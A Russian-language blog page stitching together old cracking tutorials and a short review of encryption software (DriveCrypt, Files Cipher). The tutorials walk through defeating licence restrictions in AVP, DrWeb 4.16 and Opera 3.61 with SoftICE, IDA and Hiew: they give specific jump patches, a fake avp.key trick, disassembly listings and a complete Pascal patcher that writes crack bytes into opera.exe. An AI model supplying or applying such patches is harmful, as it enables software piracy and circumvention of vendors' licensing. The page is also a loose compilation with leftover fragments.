Записи с меткой «интересно»
Наверное, всем известен “легендарный” Евгений Касперский и его антивирусный пакет Antiviral Toolkit Pro. Не буду рассматривать его антивирусные свойства – каждый может оценить их сам. Это дело вкуса. В этой статье рассматриваются свойства защиты этого самого AVP. В исследуемой демо-версии отключена возможность лечения зараженных файлов, анализатор кода, проверка архивов и сжатых файлов. Также отсутсвует возможность проверки писем и почтовых баз данных. Скопировать программу можно с сайта Kaspersky Lab.
Инструменты
1.SoftICE 3.23 for Win95
2.Любой шестнадцатиричный редактор файлов
3.IDA Pro версии выше 3.74
Часть 1. Антивирус своими руками
Как я и говорил, для того, чтобы эту программу заставить заработать следует изучить функции Win32 API, связанные с отображением органов управления. Кроме того, сперва всегда следует выяснить, действительно ли перед нами урезанная и бесполезная демо-версия, или это полностью работоспособная программа с отключенными функциями. В данном случае для этого удобно использовать продукт The Customiser фирмы Wanga International.
Для проверки запустим AVP и посмотрим для начала закладку Обьекты. Сразу видно, что программа не проверяет архивы и упакованые исполняемые файлы. Выбрать эти пункты нельзя – они отключены (disabled) . Запустим The Customiser (который, кстати тоже защищен – возможно появится статья и о нем). Выберем Edit Windows … а там пометим Enable и нажмем кнопку ON. Теперь появившимся уродливым курсором щелкнем на затененном пункте Упакованные Файлы. Неожиданно он перестанет быть затененным и станет обычным, нормальным пунктом. То же проделайте со следующим пунктом (архивы). Теперь отключите Customiser и выберите эти возврещенные к жизни опции. Запустите антивирус, и убедитесь, что теперь он проверяет и архивы. Остановите проверку. Посмотрите на закладку Обьекты. Требуемые опции опять отключены. Ничего удивительного, с помощью Customiser’а мы лишь на время изменили их состояние.
Теперь, убедившись в том, что программа имеет требуемую функциональность продолжим исследование программы. Некоторые скажут, что мы проверили не все. Например мы не проверяли закладку Действия. Особенно пункт Лечить без запроса. Скажу сразу, лично я все это проверил. Попробуйте и Вы, поработайте немного самостоятельно.
Когда сомнения Вас покинут и Вы окончательно убедитесь, что программа в порядке, следует приниматься за более серьезные дела. Например запустить IDA Pro и дизассемблировать файл avp32.exe. Пока он дизассемблируется, откройте Win32 API Help и найдите функцию, отвечающую за состояние органов управления. Для тех, кто не знает такой функции, скажу – это EnableWindow. В файле помощи по API-функциям (Microsoft) эта функция описана так:
BOOL EnableWindow(
HWND hWnd, // указатель на окно (орган управления)
BOOL bEnable // флаг возможности ввода)
В зависимости от значения bEnable компонент может быть в состоянии Включен/Отключен (Enabled/Disabled). В состоянии Отключен орган управления игнорирует сообщения, поступающие от мыши и клавиатуры. Нам требуется обратное. Если дизассемблирование закончилось, поищите, откуда вызывается функция EnableWindow. Таких мест в программе множество. Кстати, обратите внимание на типичные последовательности вызовов – при работе над другими программами с аналогичной защитой Вам это пригодится. Типичная последовательность такова:
1.Вызывается функция GetDlgItem [в качестве аргументов - указатель на окно диалога и идентификатор органа управления]. Функция возвращает указатель на этот орган управления.
2.Вызывается функция EnableWindow [в качестве аргументов - указатель на орган управления и флаг bEnable (0 - Отключен, 1 - Включен)]. Функция делает орган управления неактивным (т.к. bEnable = 0).
Теперь у вас есть вся информация, необходимая для взлома. Как именно это сделать – Вы должны решать сами. Тем более, что взлом можно осуществить, минимум, пятью разными способами. Перечислю некоторые из них:
1.Найти функцию, в которой отключаются требуемые пункты меню, и сделать так, чтобы они включились. Cводится к поиску EnableWindow и замене предшествующей ей команды push 00 на push 01. Подсказка: так как при отключении требуется заносить в стек 0, в этой программе обнуляется регистр ebx и выполняется команда push ebx. Все, что требуется – записать в ebx 1. Преимущества – быстрота. Недостатки – недостаточно корректный взлом (об этом позже).
2.Исследовать алгоритм, проверяющий ключевой файл avp.key, и попытаться на основе этого алгоритма вычислить, какая информация в avp.key должна быть. Преимущества – в случае успеха вы становитесь “зарегистрированным” пользователем этой, а возможно и будущих версий программы без всяких побочных эффектов. Недостатки – медленно и сложно.
Есть еще и другие варианты. Вы можете выбрать любой из них.
После того, как Вы все это сделали, осталась небольшая проблемка – при запуске появляется окно с напоминанием о том, что программу необходимо зарегистрировать. Решение: создайте в директории, в которой установлен AVP, файл avp.key с любым содержанием и все проблемы исчезнут.
Часть 2. Монитор, и как с ним бороться
Вторая важная часть системы AVP – это монитор. Он проверяет все файлы, которые открываются во время вашей работы, и если обнаруживается вирус, то имеется возможность предварительно его (вирус) обезвредить и продолжить работу. Лично я монитором не пользовался и не собираюсь – лучше один раз проверить, то что приносишь, чем постоянно сидеть под наблюдением, результатом чего является снижение производительности. Но надо довести начатое дело до конца. Получить рабочую версия AVP из нерабочей демо-версии. Вообще-то, ничего нового здесь нет. Функциональность монитора урезана точно так же, как и антивируса. Я сделал так. С помощью Borland Resource Workshop открыл файл avpm.exe и посмотрел на ресурсы. В данном случае меня интересовали окна диалогов. Например ресурс с номером 113, соответсвующий окну Действия. Дважды щелкнув на нем, попадаем в окно редактировани диалога. Но редактировать ничего не будем. Двойным щелчком на RadioButton с текстом Disinifect Automatically откроем окно Button Style. В этом окне содержится некоторая необходимая информация. А именно Control ID . Для упомянутого элемента это значение равно 406h. Запомните это число – оно пригодится. Откроем IDA Pro и запустим дизассемблирование файла AVPM.EXE(если вы сами этого еще не сделали). Нажмем Alt+T для поиска текста и зададим 406h.
После нескольких попыток мы обнаружим такой участок кода:
loc_4023CE: ; CODE XREF: .text:004023C0
; .text:004023C7
xor ebx, ebx
cmp dword_4122EC, ebx
jz short loc_40240E
push ebx
push 405h ; ID Number нашего компонента
push dword ptr [ebp+8]
call esi
push eax
call ds:EnableWindow ; Enable/disable mouse and keyboard input
push ebx
push 406h ; ID Number нашего компонента
push dword ptr [ebp+8]
call esi
push eax
call ds:EnableWindow ; Enable/disable mouse and keyboard input
push ebx
push 407h ; ID Number нашего компонента
push dword ptr [ebp+8]
call esi
push eax
call ds:EnableWindow ; Enable/disable mouse and keyboard input
loc_40240E:
Надеюсь, всем ясно, что делает этот код. В общих чертах – обнуляется регистр EBX, сравнивается с некоторой переменной. В результате сравнение осуществляется переход на ту часть программы, где блокируются соответсвующие визуальные элементы(сторого говоря, не осуществляется переход на ту часть программы, котрая продолжает работу без блокировки). Вариантов взлома – множество.
Я вданном случае заменил переход jz short loc_40240E на jmp short loc_40240E. Для этого следует поменять байт 074h(jz) на 0EBh(jmp).
Самостоятельно изучите листинг программы, найдите соответсвующие инструкции. С помощью IDA внесите изменения там, где посчитаете нужным. Запустите модифицированный файл. Посмотрите, работает ли то,что не работало. Если вы все сделали правильно, то вы должны получить возможность выбора лечения зараженных файлов. Остается проделать тот же трюк с закладкой Обьекты и Настройки. Это вы вполне можете сделать сами. Так же, в качестве упражения уберите собщение о том, что отсутсвует ключевой файл(наличие этого собщения наводит на мысли – для антивируса достаточно создать файл AVP.KEY как он сразу перестает выбрасывать это же сообщение, хотя и работать от этого не начинает. Для монитора этот номер не проходит. Может монитор все-таки использует информацию из ключевого файла – проверьте сами). Побочным эффектом данного метода является то, что устанавливаемые опции не сохраняются, и в следующей сессии их приходится устанавливать еще раз. Эта проблема тоже имеет решение. Но мне хватило того, что сделал себе рабочую версию.
конецформыначалоформы30 января в свет появилась новая версия DrWeb – 4.16. Недавно я слил его себе и установил на винт.
Запустил, и обнаружил, что программа является ознакомительной версией и без регистрационного ключа имеет функциональные ограничения, в том числе одни, на мой взгляд, из самых важных – проверка архивов, включение опции “эвристический анализ” и лечение зараженных объектов, о чем в свою очередь и предупреждает, выводя сообщение при начальной загрузке.
Вас не раздражает вывод подобных сообщений, каждый раз при новой загрузке ? Меня безумно.
Поэтому я отправился на кухню, заварил себе кофе ( благородный напиток ), запасся табаком ( время то уже было 2 ночи ) и решил подправить прогу и включить все и вся.
Итак, если у вас все нужное под рукой, приступим.
А что нам надо :
SoftIce – любой версии
Hiew – тоже любой версии или любой другой правщик файлов
WDasm or IDA Pro
Где найти DrWeb 4.16 :
Для начала попробуем убрать сообщение об ознакомительной версии. ( Сразу скажу, что может и есть более короткий путь для изменения кода, но я опишу тот, по которому прошел сам).
Для этого залезаем в отладчик ( Ctl+D ) и ставим брекпоинт на сообщение -
bpx MessageBoxA
bpx MessageBoxExA
Запускаем прогу и что мы видим? Айс вывалился на ” MessageBoxA”. F12 – выходим из айса, ok – обратно в айс, в вызывающую функцию. Стираем все брекпоинты – bc * и смотрим код.
:0044EE74 FF7778 push [edi+78]
:0044EE77 FF7508 push [ebp+08]
:0044EE7A 50 push eax
* Reference To: USER32.MessageBoxA, Ord:0195h
:0044EE7B FF1534AA4700 Call dword ptr [0047AA34]
——–> вывод сообщения
:0044EE81 891E mov dword ptr [esi], ebx
:0044EE83 837DFC00 cmp dword ptr [ebp-04], 00000000
:0044EE87 89450C mov dword ptr [ebp+0C], eax
Ничего интересного, кроме каких-то проверок и подготовки самого сообщения для вывода на экран.Нажимаем опять F12 и опять попадаем в вызывающую процедуру.
:0044EEBC 8B10 mov edx, dword ptr [eax]
:0044EEBE FF74240C push [esp+0C]
:0044EEC2 FF9294000000 call dword ptr [edx+00000094]
————> процедура, описанная выше
:0044EEC8 C20C00 ret 000C
——–> сюда возвращается айс.
Теперь F10 и снова попадаем в вызывающую процедуру.
:00403ED9 6A30 push 00000030
:00403EDB 50 push eax
:00403EDC E8C9AF0400 call 0044EEAA
:00403EE1 8D4C2418 lea ecx, dword ptr [esp+18]
—————-> сюда мы вернулись
:00403EE5 C684240402000007 mov byte ptr [esp+00000204], 07
Опять смотрим код чуть-чуть выше места, куда нас вернул айс. И по адресу 00403E82 находим переход, обходящий сообщение:
:00403E71 3BF3 cmp esi, ebx
:00403E73 750F jne 00403E84
:00403E75 A194524700 mov eax, dword ptr [00475294]
:00403E7A 8A8818020000 mov cl, byte ptr [eax+00000218]
:00403E80 84C9 test cl, cl
:00403E82 746E je 00403EF2
——————> Обходим сообщение
:00403E84 8D4C2418 lea ecx, dword ptr [esp+18]
:00403E88 E825610400 call 00449FB2
Но если быть более внимательным, то можно увидеть, что на 15 байт выше есть переход, который может нам испортить все. Он находится по адресу 00403E73.
Поэтому именно и на него мы ставим очередной брекпоинт. Загружаем заново программу и видим, что отладчик вывалился на нашем брекпоинте. Условие перехода – если регистры ESI и EBX не равны. Что мы имеем ? Флаг ЗЕРО опущен, потому-что в EBX – 0 , а в ESI – 4. Этот переход все нам и портит. Поэтому делаем условие не выполнимо. Есть 3 варианта :
1. меняем CMP ESI, EBX на CMP ESI, ESI или CMP EBX, EBX
2. делаем переход на следующую строчку ( JNE 00403E84 меняем на JNE 00403E75 ) – что я и сделал
3. забиваем переход командой NOP
Далее трассируем и видим, что по адресу 00403E7A в CL копируется 0 и условие нужного нам перехода положительное. Нажимаем F5 и …….. Сообщение исчезло. Первый этап выполнен. Но чтобы быть точно уверенным, можно и здесь поставить безусловный переход. Продолжаем … Лезим в DrWeb, в настройки, и пробуем включить опцию скажем ” Эвристический анализ”. Ну как вышло ? Не хочет он совсем включатся …..
( Опять ставим брекпоинт на MessageBoxA.
bpx MessageBoxA
bpx MessageBoxExA
F5 – выходим из отладчика и снова пробуем включить эту опцию. Выскакивает айс, –> F12, –> messagebox, –> OK, –> мы в айсе, в модуле DrWeb32w.exe.
Все та же функция для сообщения (0044EE7B ), все тот же выход на команду RET по адресу 0044EEC8 ( см. выше ). Еще раз F10 и мы выходим в нужные нам просторы ……
) Снова и снова прокручиваем чуть-чуть вверх и смотрим код. Вот вся процедура с момента входа в неё
:0041A970 A194524700 mov eax, dword ptr [00475294]
:0041A975 56 push esi
:0041A976 8BF1 mov esi, ecx
:0041A978 8A8820020000 mov cl, byte ptr [eax+00000220]
:0041A97E 84C9 test cl, cl
—————————–> проверка условия перехода
:0041A980 7521 jne 0041A9A3
—————————> нужный нам переход
:0041A982 8B0D18524700 mov ecx, dword ptr [00475218]
:0041A988 6A00 push 00000000
:0041A98A 6A30 push 00000030
:0041A98C 8B91B4060000 mov edx, dword ptr [ecx+000006B4]
:0041A992 52 push edx
:0041A993 E812450300 call 0044EEAA
—————–> MessageBox о недоступной опции
:0041A998 6A00 push 00000000
:0041A99A 8BCE mov ecx, esi
:0041A99C E8A0E60200 call 00449041
:0041A9A1 5E pop esi
:0041A9A2 C3 ret
Можно конечно было бы по адресу 0041A980 поставить безусловный переход, выйти из функции, посмотреть результат, и изменить еще переход или переходы, что бы все включилось, но я пошел по другому пути. Ведь без регистрационного ключа очень много опций недоступно, поэтому каждая может иметь подобный участок проверки и вывода сообщения. Менять каждую долго, хотя здесь кому как нравится ……Итак, я сделал вот как … По адресу 0041A978 в регистр CL заносится число из стека с адресом [eax+00000220] ….
Ставим брекпоинт на строчку -
0041A976 8BF1 mov esi, ecx
и снова пробуем включить опцию …. Выскакивает Айс, мы делаем шаг на следующую строчку ( F10 ) и смотрим адрес, из которого происходит занос числа в CL. Это – 0070F298. Адрес этот запомним или лучше запишем …. В дальнейшем наверняка пригодится, если придётся ставить брекпоинт, на участок памяти, по этому адресу …. Теперь попробуем узнать, где и в каком месте программа заносит сюда 0 и при каких условиях….Для начала дизассемблируем файл drweb32w.exe и поищем, нет ли еще где-то в файле строчки – byte ptr [eax+00000220] и не заносится ли где 0 при не выполнении определенных условий…. Включаем поиск и ищем …..Сразу, после первого же нажатия, программа показывает код :
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
:00403B3A(C)
:00403CA3 3BF3 cmp esi, ebx
:00403CA5 7465 je 00403D0C
:00403CA7 8B1594524700 mov edx, dword ptr [00475294]
——–> в EDX адрес
:00403CAD C6821902000000 mov byte ptr [edx+00000219], 00
————-> по адресу из EDX+00000219 занести 0
:00403CB4 A194524700 mov eax, dword ptr [00475294]
———> снова адрес
:00403CB9 C6801A02000000 mov byte ptr [eax+0000021A], 00
—————-> и снова занести 0
:00403CC0 8B0D94524700 mov ecx, dword ptr [00475294]
———–> и так далее …
:00403CC6 C6811B02000000 mov byte ptr [ecx+0000021B], 00
:00403CCD 8B1594524700 mov edx, dword ptr [00475294]
:00403CD3 C6821C02000000 mov byte ptr [edx+0000021C], 00
:00403CDA A194524700 mov eax, dword ptr [00475294]
:00403CDF C6801D02000000 mov byte ptr [eax+0000021D], 00
:00403CE6 8B0D94524700 mov ecx, dword ptr [00475294]
:00403CEC C6811E02000000 mov byte ptr [ecx+0000021E], 00
:00403CF3 8B1594524700 mov edx, dword ptr [00475294]
:00403CF9 C6821F02000000 mov byte ptr [edx+0000021F], 00
:00403D00 A194524700 mov eax, dword ptr [00475294]
:00403D05 C6802002000000 mov byte ptr [eax+00000220], 00
———–> а вот и заносится 0, для дальнейшей проверки на опцию “эвристический анализ”
:00403D05 C6802002000000 mov byte ptr [eax+00000220], 00
:00403D0C 8B0D94524700 mov ecx, dword ptr [00475294]
:00403D12 8A8119020000 mov al, byte ptr [ecx+00000219]
:00403D18 84C0 test al, al
:00403D1A A198454700 mov eax, dword ptr [00474598]
Но нам надо просмотреть все места, поэтому продолжаем поиск … Еще одно место, где есть такая строчка – адрес -0041A978. Ну как знакомое число ? Конечно !!! Это то место, где выполняется проверка, и в зависимости от результата становится доступен или нет “эвристический анализ”. Больше в файле подобных мест нет. Если взять любой другой адрес, скажем 00403CEC, то узнаем, повторив все выше перечисленное, что этот адрес отвечает за возможность “проверки архивов”.
Итак, место, что все нам портит и не дает нормально настроить DrWEB найдено.Теперь записываем адрес ( 00403CAC – на него мы поставим брекпоинт ), и загружаем drweb32w.exe. Далее, как вам угодно, попадите в отладчик и поставьте брекпоинт на 00403CAC.
Выпав при загрузке drweb32w.exe на этом месте, мы увидим, что программа не переходит на следующей строчке по адресу 00403D0C, а продолжает выполнять процедуру, записывая нули по знакомым нам уже адресам. Итак, все, что нам надо было, найдено ! Теперь мы по адресу 00403CA5 делаем безусловный переход ( забиваем командой NOP или меняем на je 00403CA7 ) и далее каждый 00 меняем на 01.
Снимаем все брекпоинты (bc * ) и запускаем программу заново. Лезем в настройки и ………..
WOW ! Все включается и работает на все 100%.Ну чтож, задача решена !!!Запускайте DrWEB 4.16 и принимайтесь искать какой-нибудь Windows CIH,словленный где-то в сети ……:-)) Шутка !!!
Модуль Spider.exe мною не изучался, хотя и имеет точно такие же ограничения без регистрационного ключа, в силу того, чтобы экономить память. Вам также не советую вешать эту штуку в память машины, тем более, если у вас ее мало. Лучше каждый стрёмный файл проверить сканером, и его же запускать скажем раз в неделю на проверку всего винта. Удачи и весёлого времяпровождения !!!
Все нижесказанное, помеченное *, является моими советами в дизассемблировании в среде WinDasm.
Сколько я не лазил в этой проге, не нашел, где генерируется рег. ключ, поэтому не отчаявшись (самое главное! никогда не бросать начатое!), я решил не обойти саму защиту, а сделать так, чтобы прога сама зарегистрировалась (хе-хе).
Ломать будем в WinDasm v8.93, т.к. я считаю маловато про WinDasm в этих статьях сказано, а ведь
такая вещица классная, многие с нее начинали. Многого знать не надо ну кроме базисов, вроде основные в статье Dr.Golova описаны.
TOOLZ:
WinDasm 8.93, Hiew 6.11, Far (или NC), ну и самаOpera 3.61
Ну, вернемся к нашим бар.. Opera.
Заходим в браузер… Мда непорядок, первое, что бросается в глаза – это “unregistered” вверху экрана, да и еще, если успели заметить, при загрузке идет Registered to : unregistered. Вот и начнем отсюда. Выходим из проги, заходим в Far( NC или что там у вас), в директории Opera, копируем файл opera.exe в opera.xxx и opera.w32
*Я советую использовать именно эти расширения, т.к. они являются наиболее удобными, где *.xxx – backup; *.w32 – этот файл мы будем дизассемблировать; а в opera.exe будем с помощью HIEW вносить изменения. Т.е. если что-нибудь запорем, то дорога в “copy opera.xxx opera.exe”
)
Так, выходим из Far по Alt+Tab, т.к. он нам еще пригодится. Заходим в WinDasm и дизассемблируем файл opera.w32…………………..
))))))))))))))
*Следующий шаг – это просмотр SDR (т.е. String Data Reference), в меню Refs – последний пункт.
Здесь то мы и должны найти наш “unregistered”.
*Если прога объемная, как в этом случае с Оперой, то удобно будет скопировать все references кнопкой Copy All.
Ура нашли: String Resource ID=21428: ” (unregistered)”, чтобы попасть в это место достаточно дважды щелкнуть по строке.
*ОЧЕНЬ ВАЖНО! В проге может быть не одно это место, а несколько, так что щелкайте несколько раз, и смотрите на адреса.
Смотрим первое совпадение:
* Referenced by a (U)nconditional or (C)onditional Jump at Address: <- Первый переход
|:0045F8EF(C)
|
:0045F91F 381D58F55200 cmp byte ptr [0052F558], bl
:0045F925 7535 jne 0045F95C
:0045F927 BE80000000 mov esi, 00000080
:0045F92C 56 push esi
:0045F92D 57 push edi
* Possible Reference to String Resource ID=20092: "Opera 3.61"
|
:0045F92E 687C4E0000 push 00004E7C
:0045F933 8BCD mov ecx, ebp
:0045F935 E8850D0000 call 004606BF
:0045F93A 57 push edi
:0045F93B E8E0A60800 call 004EA020
:0045F940 59 pop ecx
:0045F941 2BF0 sub esi, eax
:0045F943 A30CF55200 mov dword ptr [0052F50C], eax
:0045F948 56 push esi
:0045F949 8D8058F55200 lea eax, dword ptr [eax+0052F558]
:0045F94F 50 push eax
* Possible Reference to String Resource ID=21428: " (unregistered)" <---- Это наш
"unregistered"
|
:0045F950 68B4530000 push 000053B4
:0045F955 8BCD mov ecx, ebp
:0045F957 E8630D0000 call 004606BF
************ ТОЖЕ ВАЖНО! ************
Q: Почему в WinDasm все пишут основные строчки внизу, а не вверху, это неудобно!
A: Т.к. Программа идет сверху вниз
, а нам нужно посмотреть ЧТО вызвало этот "unregistered"
Q: До какого момента мы смотрим вверх, где останавливаться???
A: Обычно в WinDasm идем вверх до первого jne/je ; jl/jbl; test; cmp ... или до Reference Jump.
***************************************
На данном этапе необходимо остановиться и задуматься, а то ли это место, ведь посмотрите: есть и "unregistered", и "Opera 3.61", и переходов между ними нет, а может это всего лишь: "Opera 3.61 (unregistered)" в главном окне вверху... ИСТИННУ ГЛАГОЛИШЬ.
Смотрим другой адрес (надеюсь, еще не забыли то правило, насчет нескольких мест):
* Possible Reference to Dialog: SPLASH, CONTROL_ID:2B27, "Opera 3.60" <--- Странно,
3.60, что разработчики по этому поводу думают?
|
:00495F64 68272B0000 push 00002B27
:00495F69 FF7508 push [ebp+08]
:00495F6C FFD6 call esi
:00495F6E 8D8540FBFFFF lea eax, dword ptr [ebp+FFFFFB40]
:00495F74 50 push eax
* Possible Reference to Dialog: SPLASH, CONTROL_ID:2B25, " "
|
:00495F75 68252B0000 push 00002B25
:00495F7A FF7508 push [ebp+08]
:00495F7D FFD6 call esi
:00495F7F 8D856CFCFFFF lea eax, dword ptr [ebp+FFFFFC6C]
:00495F85 50 push eax
* Possible Reference to Dialog: SPLASH, CONTROL_ID:2B26, " "
|
:00495F86 68262B0000 push 00002B26
:00495F8B FF7508 push [ebp+08]
:00495F8E FFD6 call esi
:00495F90 393D64005300 cmp dword ptr [00530064], edi <---Сравнивание с edi
:00495F96 752A jne 00495FC2 <--- "ПЕРвЫй переХод"
:00495F98 68FF000000 push 000000FF
:00495F9D 8D85C4FEFFFF lea eax, dword ptr [ebp+FFFFFEC4]
:00495FA3 50 push eax
* Possible Reference to String Resource ID=21428: " (unregistered)" <--- Вот ОН наш
REAL unreg.
|
:00495FA4 68B4530000 push 000053B4
:00495FA9 FF3570FA5200 push dword ptr [0052FA70]
:00495FAF FFD3 call ebx
:00495FB1 8D85C5FEFFFF lea eax, dword ptr [ebp+FFFFFEC5]
:00495FB7 50 push eax
МДАСССССС, спокуха, это все фигня на самом деле.
ТАК, как всегда, ловим первый попавшийся переход, вот и он:
:00495F90 393D64005300 cmp dword ptr [00530064], edi
:00495F96 752A jne 00495FC2 <--- "ПЕРвЫй переХод"
*Je/Jne - Unconditional(jump if equal)/Conditional(jump if not equal); здесь важно понять эти действия: "Если [00530064] НЕРАВНО edi, то перейти на ПРАВИЛЬНУЮ РЕГИСТРАЦИЮ". (Действительно запутывающе).
Смотрите, до него идет сравнивание значения в [00530064] с edi. Ну, поняли? Всего лишь осталось сделать так, чтобы в этом значении И БЫЛО ЭТО edi !!!
Давайте снова остановимся и задумаемся, каким образом сравнивается значение из [00530064] с edi? Ведь для того, чтобы сравнить что-либо, нужно поместить туда что-нибудь, А КАК ПОМЕСТИТЬ?
Чтобы найти, место, где помещается определенное значение в [00530064], сделаем так: в WinDasm жмем поиск и печатаем, почти ничего не изменяя: mov dword ptr [00530064]
Согласитесь, логично, если там cmp, то здесь mov (*ЧИТАТЬ СТАТЬЮ Dr.Golova ОБ ОСНОВАХ АССЕМБЛЕРА !)
И WinDasm найдет нам всего лишь одну (в случае с Оперой) ссылку, туда и пойдем:
:00495E1F E8C3630200 call 004BC1E7
:00495E24 3BC7 cmp eax, edi
:00495E26 A364005300 mov dword ptr [00530064], eax <--- То, что искали.
ЧТО отсюда можно извлечь? Самое главное: все происходит в
:00495E1F E8C3630200 call 004BC1E7
Идем в эту функцию:
:004BC1E7 8D8138010000 lea eax, dword ptr [ecx+00000138]
:004BC1ED 85C0 test eax, eax
:004BC1EF 741A je 004BC20B <--- 1 Переход.
:004BC1F1 803800 cmp byte ptr [eax], 00
:004BC1F4 7415 je 004BC20B <--- 2 Переход.
:004BC1F6 81C190030000 add ecx, 00000390
:004BC1FC 51 push ecx
:004BC1FD E8A647FDFF call 004909A8
:004BC202 85C0 test eax, eax
:004BC204 59 pop ecx
:004BC205 7404 je 004BC20B <--- 3 Переход.
:004BC207 6A01 push 00000001 <--- Еденицу на стек.
:004BC209 58 pop eax <--- Снимаем еденицу из стека в еах.
:004BC20A C3 ret
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004BC1EF(C), :004BC1F4(C), :004BC205(C)
|
:004BC20B 33C0 xor eax, eax
:004BC20D C3 ret
Видим чудеса: 3 перехода на обнуление и выход да еще видим сравнение eax с 0 и снова выход, что же здесь думать-то, если после последнего перехода есть установка этой самой единицы!!!
Нус, осталось всего-то с первого перехода прыгнуть на установку единицы!
Теперь убеждаемся, что в WinDasm строка установлена на 4BC1EF (горит зеленым), потом на 4BC207 и смотрим внизу на смещение (Offset), это BC1EF и BC207.
*Для использования в HIEW смещения (offsets) из WinDasm берем БЕЗ последней h (например "BC1EFh" из WinDasm) для использования в HIEW возьмем только "BC1EF".
Переходим в Far Manager по Alt-Tab (remember the very begining?), и "hiew opera.exe", там переходим в F4 > Decode Mode, потом F5 > Search BC1EF и наконец редактируем: жмем F3 (Edit), потом F2 (Asm) и пишем: jmps BC207 (вместо je…), и наконец жмем F9 (Update), чтобы сохранить изменения.
(* Прим. Dr.Golova: Можно сделать иначе, поскольку HIEW умеет преводить виртуальные адреса из WinDasm в реальные файловые. Мы сразу наберем адрес 4BC1EF из WinDasm в окошке “GoTo” HIEW’a (те же самые F4 > DecodeMode > F5), только его надо дополнить точкой и нулями до вида “.004BC1EF”. Попадем в то же самое место. Как проще – решать вам, но так по крайней мере не надо смотреть offset. *)
THAT’s All folks
)))
Вот мой патч на ПАСКАЛЕ:
——————————cut——————————–
program opera161_crack;
Const A: Array[1..2] of Record
A : Longint;
B : Byte;
End = ( (A : $BC1EF; B : $EB),
(A : $BC1F0; B : $16) );
Var Ch : Char;
I : Byte;
F : File;
Begin
Writeln(’Kondor’’s patch’, #10#13, ‘Crack for Opera v1.61′);
Assign(F, ‘OPERA.EXE’);
Reset(F, 1);
If IOResult <> 0 then
begin
Writeln(’File not found!’);
Halt(1);
end;
For I := 1 to 2 do
Begin
Seek(F, A[I].A);
Ch := Char(A[I].B);
BlockWrite(F, Ch, 1);
End;
Writeln(#10#13, ‘File successfully patched!’);
End.
Принцип современной криптозащиты заключается не в создании шифровки, которую невозможно прочесть (такое практически невозможно), а в повышении затрат криптоанализа. То есть зная сам алгоритм шифрования, но не знаю ключа, взломщик должен потратить миллионы лет на расшифровку. Ну или столько, сколько понадобится (как известно информация перестаёт быть важной после смерти ваших близких и вас самих), пока x-files не потеряют актуальность. При этом сложность вступает в противоречии с лёгкостью использования: данные должны шифроваться и расшифровываться достаточно быстро при использовании ключа. Программы, которые попали в сегодняшний обзор, в целом удовлетворяют двум названным критериям: они достаточно просты в эксплуатации, при этом используют в меру стойкие алгоритмы.
DriveCrypt
Начнём мы с проги, которая сама по себе достойна отдельной статьи или цикла статей. Уже при установке я был удивлён дополнительной возможностью создания ложной операционной системы. Сразу же после завершения общения с мастером установки ДрайвКрипт предложил создать хранилище ключей. Хранилищем может быть выбран любой файл: файл, рисунок, мп3. После того как путь к хранилищу указан, вбиваем пароли, коих у нас целых два типа: master & user. Отличаются они доступом к настройкам DCPP – пользователь не имеет возможности что-то изменить, он может лишь просматривать заданные настройки. Каждый тип может состоять из двух и боле паролей. Собственно доступ к установке защиты может быть представлен как по паролю мастера, так и по паролю пользователя.
Перед тем, как шифровать любые диски, нужно проверить корректность установки защиты загрузки. Будьте внимательны, если не проверить корректность работы защиты загрузки и сразу же зашифровать диск, то восстановить его содержимое будет невозможно. После проверки можно переходить к шифрованию диска или раздела. Чтобы зашифровать диск или раздел, следует выбрать Disk Drives и нажать Encrypt. Мастер шифрования диска откроет окно, в котором будет предложено выбрать ключ из хранилища. Диск будет зашифрован этим ключом и этот же ключ потребуется для дальнейшей работы с диском. После того, как ключ выбран, будет запущен процесс шифровки диска. Процесс достаточно долгий: в зависимости от объема шифруемого диска или раздела он может занимать до нескольких часов.
В общем всё это достаточно просто и стандартно. Гораздо интереснее поработать с ложной осью. Отформатируем раздал на жёстком диске обязательно в FAT32 (похоже, слухи о смерти этой файловой системы оказались сильно преувеличены
), поставим Windows, установим DriveCrypt. Создаваемая ложная операционная система должна выглядеть как рабочая, постоянно используемая. После того, как скрытая операционная система будет создана, загружаться и работать с ложной ОС крайне опасно, поскольку есть вероятность разрушить данные скрытой операционной системы. Накидав в систему всякий мусор, создаём новое хранилище, авторизуемся в DCPP, переключаемся на вкладку Drives, выделяем раздел, где установлена ложная операционная система и фтыкаем HiddenOS. Откроется окно настроек. Здесь всё просто: указываем путь к только что созданному хранилищу, пароли, метку скрытого диска, его файловую систему и количество свободного места, которое будет отделять ложную операционную систему от скрытой. После фтыкания кнопки Create Hidden OS будет запущен процесс создания скрытого раздела и всё содержимое системного раздела будет скопировано на скрытый раздел. Прога создаст скрытый раздел, начало которого будет находиться через указанный при создании скрытого раздела промежуток свободного места от окончания ложного раздела. Перезагружаемся и авторизуемся вводом паролей, которые были указаны при создании скрытого раздела. Содержимое ложной операционной системы не будет видно при работе в скрытой ОС, и наоборот: при работе в ложной операционной системе не будет видно скрытой ОС. Таким образом, только введённый пароль при включении компьютера определяет то, какая операционная система будет загружена. После окончания создания скрытой операционной системы в неё нужно войти и зашифровать системный раздел.
При помощи DriveCrypt можно зашифровать любой жесткий диск или сменный накопитель (за исключением CD и DVD) и использовать его для обмена данными между пользователями. Несомненным плюсом обмена данными на полностью зашифрованном носителе является невозможность обнаружения на нём каких-либо файлов, носитель выглядит не отформатированным. Даже располагая информацией о том, что носитель зашифрован, при отсутствии ключа данные прочитать будет невозможно.
DriveCrypt шифрует целый диск или раздел, позволяя скрыть не только важные данные, но и всё содержимое диска или раздела, включая операционную систему. К сожалению, за такой уровень безопасности приходится расплачиваться значительным падением производительности файловой системы.
Files Cipher
Здесь мы встречаем довольно оригинальный алгоритм шифрования с закрытым ключом длиной от 4 до 255 символов, разработанный самими авторами проги. Причем, пароль-ключ не хранится внутри зашифрованного файла, что уменьшает возможность его взлома. Принцип работы программы прост: указываем файлы или папки, которые необходимо зашифровать, после чего прога предлагает ввести ключ. Для большей надежности ключик можно подбирать не только на клавиатуре, но и с помощью специальной панели. Эта панель, походу дела, была нагла украдена у MS Word (вставка – символ). Подтвердив ввод пароля, мы вынудим программу зашифровывать файл, присвоив ему расширение *.shr.
Files Cipher способен сжимать шифруемые файлы с помощью встроенного алгоритма архивации. К тому же после шифрования исходный файл может удаляться с жесткого диска без возможности восстановления. Программа работает с файлами любых типов, а также поддерживает файлы размером более 4 Gb (для NTFS). При этом системные требования к компьютеру очень скромные и ресурсов в отличии от фронтмена кушается всего ничего.
